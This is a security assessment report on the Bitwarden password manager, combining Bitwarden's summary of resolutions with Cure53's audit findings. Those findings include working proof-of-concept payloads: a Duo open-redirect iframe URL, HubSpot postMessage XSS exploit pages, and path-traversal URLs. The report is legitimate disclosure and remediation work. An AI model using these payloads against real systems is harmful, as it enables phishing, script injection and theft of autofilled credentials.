Bitwarden Security Assessment Report

ISSUE SUMMARIES, IMPACT ANALYSIS, AND RESOLUTION

BITWARDEN, INC

Table of Contents

Summary

In October 2022, Bitwarden engaged with cybersecurity firm Cure53 to perform penetration testing and source code audit against all Bitwarden password manager software components and aspects, including the core application, browser extension, desktop application, web application, and TypeScript library. A total of 19 days were invested to reach the coverage expected for this project.

Over the nineteen days, seven issues were discovered. No critical vulnerabilities were identified. The breakdown and resolution of the issues is as follows:

- 2 vulnerabilities fixed during the assessment, one by an upstream vendor
- 1 low-severity issue under planning and research
- 3 informational-only issues were fixed post-assessment
- 1 informational-only issue pending fixes by upstream vendors

Given the low number of identified issues, these results are very positive, especially considering the size and complexity of the code being examined.

This report was prepared by the Bitwarden team to cover the scope and impact of the issues found during the assessment and their resolution steps. For completeness and transparency, a copy of the report delivered by Cure53 has also been attached to this report.

Issues

BWN-04-002 WP4: Arbitrary URL Loadable via duo-connector.html

Bitwarden provides a “duo connector” that is hosted on the web vault domain to enable non-web based applications to easily invoke the Duo Web SDK APIs via iframe. These APIs are used to support the Duo service for two-step login. The Duo Web SDK requires that a dynamic hostname be provided from the Duo application configuration. This hostname value is configured on the user or organization account settings within Bitwarden and is then passed to the Duo Web SDK through the duo connector. While this hostname value is validated to only be values hosted on Duo’s official domains, *.duosecurity.com and *.duofederal.com, it was discovered that a malicious actor could configure Single Sign-On (SSO) via the Duo admin portal in a way that would allow arbitrary redirects. These redirects could be used in a manner that could allow arbitrary webpages to be served under the Bitwarden domain.

Resolution

Status: Issue was fixed during the assessment.

Pull requests:

1. https://github.com/bitwarden/clients/pull/3972

A Content-Security-Policy (CSP) was added to the duo-connector.html page that scopes iframes to only be served coming from the `https://*.duosecurity.com https://*.duofederal.com` domains.

BWN-04-005 WP4: DOM-based XSS via postMessage in HubSpot Forms

Bitwarden uses HubSpot as a vendor to serve content on the product website, bitwarden.com. A discovery was made in the embedded HubSpot Forms JavaScript library that introduced a DOM-based XSS vulnerability under the Bitwarden domain that allowed arbitrary `postMessage` messages to be forged.

Resolution

Status: Issue has been fixed by the upstream vendor, HubSpot.

Miscellaneous Issues

Other miscellaneous issues were reported as part of Cure53’s official report. Most of these issues were only informational, however, some changes have been completed to reduce the possibility of these issues turning into future vulnerabilities.

Scope

- **Penetration Tests & Code Audits against Bitwarden Password Manager Software**
  - **WP1**: White-box pentests & code audits against Bitwarden core application
    - **Documentation:**
      - https://contributing.bitwarden.com/
    - **Server Source Code:**
      - https://github.com/bitwarden/server
  - **WP2**: White-box pentests & code audits against Bitwarden browser extension
    - **Source Code:**
      - https://github.com/bitwarden/clients/tree/master/apps/browser
  - **WP3**: White-box pentests & code audits against Bitwarden Electron desktop app
    - **Client Binaries:**
      - https://github.com/bitwarden/clients/releases
    - **Client Source Code:**
      - https://github.com/bitwarden/clients
  - **WP4**: White-box pentests & code audits against Bitwarden web application
    - **Bitwarden Web Client:**
      - https://github.com/bitwarden/clients/tree/master/apps/web
    - **URLs:**
      - https://bitwarden.com
      - https://admin.bitwarden.com
      - https://api.bitwarden.com
      - https://events.bitwarden.com
      - https://identity.bitwarden.com
      - https://notifications.bitwarden.com
      - https://push.bitwarden.com
      - https://sso.bitwraden.com
      - https://scim.bitwarden.com
      - https://vault.bitwarden.com
      - https://icons.bitwarden.net
  - **WP5**: White-box pentests & code audits against Bitwarden TypeScript library
    - **Source Code:**
      - https://github.com/bitwarden/clients/tree/master/libs
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified throughout the testing period. Please note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is given in brackets following the title heading for each vulnerability. Furthermore, each vulnerability is given a unique identifier (e.g., *BWN-04-001*) to facilitate any future follow-up correspondence.

BWN-04-002 WP4: Arbitrary URL Loadable via *duo-connector.html* (*High*)

Fix Notes: *This issue has been mitigated by Bitwarden Inc. and fix-verified by Cure53.*

To provide a fix for the issue detailed in a previous report - namely *BWN-02-008 WP4: Iframe injection in duo-connector.html (High)* - a host check was added. Here, only URLs from the **.duosecurity.com* and **.duofederal.com* domains can be loaded into the iframe. However, the discovery was made that this check remains insufficient and arbitrary host URLs remain loadable. On the permitted **.duosecurity.com* domain, users are able to configure Single Sign-On (SSO)[1] via the Duo Security application. This SSO feature allows users to configure arbitrary redirect URLs, which then allows for an attacker to effectively bypass the host check since the **.duosecurity.com* domain will send a redirect to the configured URLs, thus loading an external domain within the iframe.

The SSO URL configured by Cure53 is offered below. When accessed, a redirect to *example.com* will be actioned.

Duo SSO URL:
*https://sso-206b0e66.sso**.duosecurity.com**/*

By specifying this host in the *host* parameter, *example.com* will be loaded into the Bitwarden application iframe.

PoC:
*https://vault.bitwarden.com/duo-connector.html?**host=sso-206b0e66.sso.duosecurity.com%23**&request=x:x*

Affected file:
clients-master/apps/web/src/connectors/duo.ts

[1] https://duo.com/docs/sso

Affected code:

```
const hostParam = getQsParam("host");
 const requestParam = getQsParam("request");

 const hostUrl = new URL("https://" + hostParam);
 if (
   !hostUrl.hostname.endsWith(".duosecurity.com") &&
   !hostUrl.hostname.endsWith(".duofederal.com")
 ) {
   return;
 }

 DuoWebSDK.init({
   iframe: "duo_iframe",
   host: hostParam,
   sig_request: requestParam,
   submit_callback: (form: any) => {
     invokeCSCode(form.elements.sig_response.value);
   },
 });
```

The iframe appears on the application's domain under the guise of content originating from the legitimate Bitwarden application. Subsequently, an attacker could perform phishing attacks by displaying a fake login page. In addition, if the user has enabled the Bitwarden web extension’s autofill feature for the *vault.bitwarden.com* domain, the credentials can be stolen via the issue detailed in ticket *BWN-01-001 Extension: Autofill only checks top-level domain (Medium)*, which was previously reported but accepted for improved usability.

To mitigate this issue, Cure53 recommends setting CSP's *frame-src* directive on the page to prevent navigation to external hosts. In addition, the application under the current implementation passes the entire URL specified in the *host* parameter to *DuoWebSDK.init()*, which unnecessarily permits specification of arbitrary paths, queries, and fragments. As a result, one can advise passing the hostname only, rather than the entire URL.

BWN-04-005 WP4: DOM-based XSS via *postMessage* in HubSpot Forms (*High*)

The discovery was made that the JavaScript code to embed HubSpot Forms (*https://js.hsforms.net/forms/embed/v2.js*)[2] introduces a DOM-based XSS vulnerability into the *bitwarden.com* domain. The JavaScript sets a *postMessage* event listener to communicate with the *https://forms.hsforms.com* origin. Here, the origin of the sender associated with the message is checked and the page attempts to accept the message sent from the *https://forms.hsforms.com* origin.

This origin validation is performed correctly, however, Cure53 identified an XSS vulnerability in the *https://forms.hsforms.com* origin. This allows arbitrary messages to be sent via the XSS in question, which passes the validation.

The XSS issue can be reproduced by opening the following HTML. Notably, the form was created by Cure53 via the HubSpot application.

PoC for XSS on *https://forms.hsforms.com* origin:

```
<form action='https://forms.hsforms.com/submissions/v3/public/submit/formsnext/
multipart/23329852/60cc71ad-558b-4110-b1c5-42ecfeaede3c'
enctype="multipart/form-data" method="post" id="f">
<input name="email" value="random-address@cure53.de">
<input name="hs_context" value='{"formTarget":" src
onerror=alert(document.domain)>","source":"forms-embed-1.2310"}'>
</form>
<script>
f.submit();
</script>
```

Rendered HTML:

```
<script type="text/javascript">window.parent.postMessage({"formGuid":"60cc71ad-
558b-4110-b1c5-42ecfeaede3c","accepted":true,"conversionId":"2c4b5f52-4e7c-4c9d-
b383-ef7cb52b4a2b","inlineMessage":"<p><strong>yyy</script/</strong></
p><img/","formTarget":" src 
onerror=alert(document.domain)>","automaticLinker":false}, "*")</script>
```

Additionally, whilst investigating the origin validation process, Cure53 identified a lack of message validation. This also facilitates the XSS vulnerability on the page in which the JavaScript to embed HubSpot Forms is loaded. Specifically, the string specified in the *inlineMessage* property is added to the page as HTML. However, the string lacks any form of sanitization, which allows for arbitrary JavaScript execution.

[2] https://www.hubspot.com/products/marketing/forms?var=forms-bot-var

Furthermore, the URL specified in the *redirectUrl* property is utilized as the redirect destination. However, the protocol also lacks validation, thereby permitting arbitrary JavaScript execution via the supplied *javascript:* URL.

As a result of these behaviors, an attacker can leverage both to execute JavaScript on the *bitwarden.com* domain. This can be achieved by sending a crafted *postMessage* via the XSS on the *forms.hsforms.com* origin to the Bitwarden's page.

The issue can be reproduced via the following steps.

Steps to reproduce:

1. Open *https://bitwarden.com/*, ensuring that the page has never been visited in that browser session. (This action is required for reasons unknown.).
2. Open one of the PoCs listed below.
3. Click *go*. The *forms.hsforms.com* page will be opened in a new tab and the PoC page will be navigated to Bitwarden's newsletter page. (*https://bitwarden.com/newsletter-subscribe/*).
4. Check the newsletter page's tab and observe the JavaScript execution.

PoC #1 (XSS via *inlineMessage* property):

```
<button onclick=go()>go</button>
<script>
function go(){
  w=window.open('','_blank');
  w.document.write(`
<form action='https://forms.hsforms.com/submissions/v3/public/submit/formsnext/
multipart/23329852/60cc71ad-558b-4110-b1c5-42ecfeaede3c#setInterval(function()
{opener.postMessage({"formGuid":"dfb8a3f0-491f-4c4e-a581-
f79b54176168","accepted":true,"inlineMessage":"<img src=x 
onerror=alert(document.domain)>"}, "*")},1000);' enctype="multipart/form-data"
method="post" id="f">
<input name="email" value="random-address@cure53.de">
<input name="hs_context" value='{"formTarget":" src
onerror=eval(unescape(location.hash.slice(1)))>","source":"forms-embed-
1.2310"}'>
</form>
<script>
f.submit();
<\/script>`);
  location="https://bitwarden.com/newsletter-subscribe/";
}
</script>
```

PoC #2 (XSS via *redirectUrl* property):

```
<button onclick=go()>go</button>
<script>
function go(){
  w=window.open('','_blank');
  w.document.write(`
<form action='https://forms.hsforms.com/submissions/v3/public/submit/formsnext/
multipart/23329852/60cc71ad-558b-4110-b1c5-42ecfeaede3c#setInterval(function()
{opener.postMessage({"formGuid":"dfb8a3f0-491f-4c4e-a581-
f79b54176168","accepted":true,"redirectUrl":"javascript:alert(document.domain)"}
, "*")},1000);' enctype="multipart/form-data" method="post" id="f">
<input name="email" value="random-address@cure53.de">
<input name="hs_context" value='{"formTarget":" src
onerror=eval(unescape(location.hash.slice(1)))>","source":"forms-embed-
1.2310"}'>
</form>
<script>
f.submit();
<\/script>`);
  location="https://bitwarden.com/newsletter-subscribe/";
}
</script>
```

Notably, if the victim user has enabled the Bitwarden web extension's autofill feature for the *vault.bitwarden.com* domain, the credentials can be stolen since the extension additionally performs the autofill for the subdomains. Due to this behavior, the allocated severity impact was appropriately upgraded to *High*.

To mitigate this issue, Cure53 strongly recommends reporting the error to the upstream vendor and requesting an urgent fix. Please note that this is believed to be a 0-day problem in HubSpot, for which Cure53 would be happy to assist with reporting if necessary. Specifically, HubSpot must fix the XSS vulnerability on the *forms.hsforms.com* domain and sanitize the message specified in the *inlineMessage* or *redirectUrl* property before adding the supplied HTML or navigating to the supplied URL.

Miscellaneous Issues

This section covers any and all noteworthy findings that did not lead to an exploit but might assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

BWN-04-001 WP3: Electron Application Best Practice Implementation *(Low)*

Testing confirmed that the Bitwarden Electron desktop application lacks a number of general Electron application security recommendations[3]. These do not directly incur security vulnerabilities in isolation, though may prove useful for attackers to exploit other areas of weakness with greater ease. The following list enumerates the issues that review and subsequent mitigation:

- **Lack of navigation limits:** The Bitwarden desktop application does not limit the navigation to arbitrary origins using *new-window* and *will-navigate events*[4]. Navigation to arbitrary sites in an Electron application may facilitate RCE; by leveraging these events, all external navigation can be restricted.
- **Disable Node.js integration**: If this is not disabled, an attacker can use any Node.js feature simply by utilizing the *require()* function and achieving RCE via that call. To disable this, set the *nodeIntegration* property to *false* in the *BrowserWindow* constructor's argument.
- **Enable context isolation**[5]: If this remains disabled, a web page's JavaScript can affect the execution of the Electron's internal JavaScript code on the renderer and preload scripts. Since the Electron's internal code and *preload* scripts retain access to Node.js features, in the worst-case scenario an attacker can perform RCE by accessing powerful features via a specifically-crafted JavaScript code on the web page. To enable this, set the *contextIsolation* property to *true* in the *BrowserWindow* constructor's argument.
- **Enable sandbox**[6]: This mitigates any harm that malicious code can cause by limiting access to most system resources. This is considered an important facet toward hindering an attacker's opportunities in the eventuality the renderer is compromised. Without the sandbox, arbitrary code execution can be achieved via publicly-known Chromium bugs when an attacker is able to execute arbitrary JavaScript inside the renderer. To enable the sandbox for all renderers, call the *app.enableSandbox()* API before the *app*'s *ready* event is emitted.

[3] https://www.electronjs.org/docs/latest/tutorial/security
[4] https://www.electronjs.org/docs/latest/tutorial/security#13-disable-or-limit-navigation
[5] https://www.electronjs.org/docs/latest/tutorial/context-isolation
[6] https://www.electronjs.org/docs/latest/tutorial/sandbox

To conclude, Cure53 strongly advises following these general Electron security recommendations to negate any potential RCE sinks, even though running remote content in the Bitwarden desktop application is not currently possible.

BWN-04-003 WP4: Client-Side Path Traversal via Locale Parameter (*Info*)

Testing confirmed the presence of a client-side path traversal bug in the *webauthn-fallback-connector* page. This page retrieves the JSON file according to the language code specified in the *locale* parameter and displays the page's message with the language of that code. However, since this process lacks sufficient validation, the path traversal will occur when the JSON file is retrieved via the client-side JavaScript.

The issue can be reproduced via the following PoC. If the PoC functions as intended, a request will be sent to the */arbitrary/same-origin/path* path.

PoC:
*https://vault.bitwarden.com/webauthn-fallback-connector?parent=x&locale=**../arbitrary/same-origin/path%23***

Sent request:

```
GET https://vault.bitwarden.com/arbitrary/same_origin/path HTTP/1.1
Host: vault.bitwarden.com
[...]
```

The affected code was identified in the following file and highlighted below.

Affected file:
clients-master/apps/web/src/connectors/webauthn-fallback.ts

Affected code:

```
locale = getQsParam("locale").replace("-", "_");
[...]
locales = await loadLocales(locale);
[...]
async function loadLocales(newLocale: string) {
  const filePath = `locales/${newLocale}/messages.json?cache=$
{process.env.CACHE_TAG}`;
  const localesResult = await fetch(filePath);
  return await localesResult.json();
}
```

Since the response is utilized for messages on the page, fake messages could be displayed on-page if an endpoint can return the arbitrary response within the same origin. This behavior can typically occur via a file-upload feature or an open redirect bug. Positively, no associated endpoint was detected during this test, therefore the severity impact of this issue was appropriately downgraded to *Info*.

To mitigate this issue, Cure53 strongly advises ensuring that the specified string constitutes the expected language code (e.g. *en* and *ja*) before fetching the API endpoints.

BWN-04-004 WP4: Client-Side Path Traversal Check Bypassable *(Info)*

Testing confirmed that the fix for an issue reported previously - namely *BWN-02-006 WP4: Client-side path traversal via missing variable validation (Info)* - is incomplete.

Specifically, the fix compares the given string with its normalized string; if these are not the same, an error will be thrown. The code for the comparison is offered below.

Affected file:
clients-master/libs/common/src/services/api.service.ts

Affected code:

```
const requestUrl = apiUrl + path;
// Prevent directory traversal from malicious paths
if (new URL(requestUrl).href !== requestUrl) {
  return Promise.reject("Invalid request url path.");
}
```

This check can be bypassed using the "*..%2f*" (namely, encoded "*../*"). This occurs because the Bitwarden server accepts the encoded slashes as the path's separator, same as the "*/*". For example, the following two URLs return the same resource.

Example URLs:

- *https://vault.bitwarden.com/images/apple-touch-icon.png*
- *https://vault.bitwarden.com/**aaa/..%2f**images**%2f**apple-touch-icon.png*

Even if the latter URL is normalized, the "*/aaa/..%2f*" part will not be removed. This means that the check does not catch this case and the path traversal will still occur via "*..%2f*".

This process can be confirmed via the following URL.

PoC:
*https://vault.bitwarden.com/#/send/**..%252f..%252f..%252f**api%252fsends%252faccess%252flQquxogn80-ho69GARmFkQ/0XJ76MRkDM-_SzI6LIn4Zw*

If the PoC functions as intended, the JavaScript will send a POST request similar to the following:

Sent request via JavaScript:

```
POST https://vault.bitwarden.com/api/sends/access/..%2f..%2f..%2fapi%2fsends
%2faccess%2flQquxogn80-ho69GARmFkQ HTTP/1.1
Host: vault.bitwarden.com
[...]

{}
```

The following response indicates that the server has accepted the request. This is the same response as a POST request to *https://vault.bitwarden.com/api/sends/access/lQquxogn80-ho69GARmFkQ*.

Response:

```
HTTP/1.1 200 OK
Date: Wed, 09 Nov 2022 14:12:24 GMT
Content-Type: application/json; charset=utf-8
[...]

{"id":"lQquxogn80-ho69GARmFkQ","type":0,"name":"2.T0MQOwwjn66fI+J/zqVhbw==|
h7qwhzsGokTxFD/P60ruZKVCV0WDFEWe/pAen0RfG+s=|
ZgrIGEzKyRmvfg04CcGRIN9Z5+8fUDU7x3BCSvzw3Gk=","file":null,"text":
{"text":"2.EXoECdBtgwYnN7Kh60XLzw==|MGJIb9c2RxXty/PtMCvA+Q==|jgFQ/
Pm1+AuXMDiPzyUEaT70DjiN+7iul/
OVMQ58vIw=","hidden":false},"expirationDate":null,"creatorIdentifier":null,"obje
ct":"send-access"}
```

To mitigate this issue, Cure53 strongly advises ensuring that the specified string comprises the expected characters before fetching the API endpoints.

BWN-04-006 WP1: Timing-Unsafe Access Code String Comparison (*Info*)

During the code audit, the observation was made that the access code for the email login utilizes a non-constant string comparison. This induces the risk of attackers abusing the linear relationship between the runtime of the comparison and the equivalent prefix strings of the operands. Attackers could leverage this behavior to accumulate and measure the exact runtime of requests, allowing extraction of the token character by character. Since this attack is typically considerably difficult to perform and the code flow resides in an asynchronous execution path, this issue has been appropriately downgraded to *Info*.

Affected file:
src/Core/LoginFeatures/PasswordlessLogin/VerifyAuthRequest.cs

Affected code:
```
public async Task<bool> VerifyAuthRequestAsync(Guid authRequestId, string
accessCode)
{
    var authRequest = await _authRequestRepository.GetByIdAsync(authRequestId);
    if (authRequest == null || authRequest.AccessCode != accessCode)
    {
        return false;
    }
    return true;
}
```

To mitigate this issue, Cure53 recommends utilizing a time-constant string comparison when comparing user-supplied data against secrets. By doing so, the relationship between the runtime of the function will be negated and cannot be abused by attackers to instigate brute-force attacks against the secret.

BWN-04-007 WP4: Lack of Cross-Origin-Related HTTP Security Headers *(Info)*

The discovery was made that the Bitwarden platform lacks several of the newer[7] Cross-Origin-infoleak-related HTTP security headers in its responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other areas of weakness, such as issues relating to Spectre attacks[8]. The following list enumerates the headers that require review in order to prevent associated vulnerabilities.

- **Cross-Origin Resource Policy (CORP)** and *Fetch Metadata Request* headers allow developers to control which sites can embed their resources, such as images or scripts. They prevent data from being delivered to an attacker-controlled browser-renderer process, as seen in *resourcepolicy.fyi* and *web.dev/fetch-metadata*.
- **Cross-Origin Opener Policy (COOP)** grants developers the ability to ensure that their application window will not receive unexpected interactions from other websites, allowing the browser to isolate it in its own process. This adds important process-level protection, particularly in browsers that do not enable full Site Isolation; see *web.dev/coop-coep.*
- **Cross-Origin Embedder Policy (COEP)** ensures that any authenticated resources requested by the application have explicitly opted-in to passing into load state. In the current climate, to guarantee process-level isolation for highly sensitive applications in Chrome or Firefox, applications must enable both COEP and COOP; see *web.dev/coop-coep.*

Generally speaking, the absence of Cross-Origin security headers should be considered a negative practice that could be avoided in times when attacks such as Spectre are known to be well-exploitable and exploit code is publicly available. It is recommended to insert the aforementioned headers into every relevant server response. Resources with detailed information regarding headers of this nature are available online, explaining both header-setup best practices[9] and the potential consequences of bypassing setup entirely[10].

[7] https://security.googleblog.com/2020/07/towards-native-security-defenses-for.html
[8] https://meltdownattack.com/
[9] https://scotthelme.co.uk/coop-and-coep/
[10] https://web.dev/coop-coep/